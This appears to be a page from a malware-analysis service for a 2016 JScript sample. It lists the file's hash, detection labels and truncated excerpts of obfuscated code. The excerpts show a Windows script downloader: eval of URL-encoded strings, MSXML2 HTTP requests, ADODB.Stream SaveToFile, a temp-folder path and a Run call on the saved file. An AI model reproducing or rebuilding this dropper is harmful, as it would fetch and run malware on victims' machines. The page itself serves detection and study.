20160328_902f0d339a8184fbab21cf0c77d8a6f2.js

eval() executing transformed codeText has empty named-parameter catch
SHA-2566bc84659e5c59d8b639c41182464dde7af4226d0d2ff80a4b7c197c93db8105a

Evidence

Obfuscated ADODB fragment "ADOD" line 1
1eval(clientY("timer%20%3D%20%281616%29%3B%20resolveContexts%20%3D%20%28127%29%3B%20fixHooks%20%3D%20%28%22Msx%22%29%3B%20rscriptTypeMasked%20%3D%20%28%22e%22%29%3Bhide%20%3D%20%28129%29%3B%20undelegate%20%3D%20%28%22com%22%29%3BcreateFxNow%20%3D%20%28%22SaveTo%22%29%2C%20namespace%20%3D%20%280%29%2C%20unshift%20%3D%20%28%22c%22%29%2C%20ofType%20%3D%20%28%22P%22%29%3Bvar%20xhrSuccessStatus%20%3D%20%282%29%3BcallbackExpect%20%3D%20%28%22pt%22%29%2C%20originAnchor%20%3D%20%28%22HTTP%22%29%2C%20target%20%3D%20%28136%29%2C%20converters%20%3D%20%28%222.XML%22%29%3Bvar%20originalOptions%20%3D%20%28%22/2T%22% …
Invokes zero-argument function at module scope lines 4–8
4:67… er);
5unloadHandler(attrId, expando, ofType, delegateType, key);
6button();
7pattern[className + "od" + rscriptTypeMasked] = ((144, htmlPrefilter, 203), (delegateType * 3));
8pattern["ty" + factory + "e"] …
Text has empty named-parameter catch lines 10–24
10:31… , createDocumentFragment, namespace);
11
12function tmp() {
13 for (mozMatchesSelector = ((reliableMarginRight + 1) - (rpseudo * 2)); mozMatchesSelector < text["length"]; mozMatchesSelector++) {
14 try {
15 parent = dispatch[orig + "t"][select + "eObje" + bup](text[mozMatchesSelector]);
16 curValue();
17 parent[assert + "en" + stopped]();
18 break;
19 } catch (close) {
20
21 }
22 }
23
24 while (parent["ready" + documentIsHTML + "te"] != ((1 * attrId) + (1 & delegateType))) resolve[duration + "pt"][off + "p"] …
Obfuscated computed call cluster lines 26–39
26:29… pow((180 | hide), (2 + namespace)) - (6465 + returnFalse))) {
27 pattern["o" + factory + "en"]();
28 rsubmittable(callbackExpect, xhrSuccessStatus, lock, namespace);
29 isSuccess["WScr" + compiled]["Sle" + rscriptTypeMasked + "p"](((Math.pow(3212, xhrSuccessStatus) - 10311944)));
30 pattern[createFxNow + "File"](cacheLength, ((xhrSuccessStatus | 0) & (attrId | 3)));
31 finish(select, resolveContexts, className, className);
32 specified["R" + tbody + "n"](cacheLength);
33 } else {
34
35 }
36}
37
38function animate() {
39 prefilterOrFactory(clientY("cacheLength%20%3D%20specified%5Bsrc%20+%20%22and%22%20+%20leadingRelative%20+%20%22onmen%22%20+%20attrNames%20+%20%22ings%22%5D%28remaining%20+%20%22/%22%29%20+%20special% …
Dense concatenated string fragments lines 59–63
59:289… %2820%7Cmodule%29%29%29%29%3B"));
60}
61
62function unloadHandler() {
63 prefilterOrFactory(clientY("text%20%3D%20%5BfixHooks%20+%20%22ml2.S%22%20+%20statusText%20+%20%22erX%22%20+%20responseText%20+%20%22.6.0%22%2C%20lock%20+%20%222.XM%22%20+%20propHooks%20+%20%2 …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.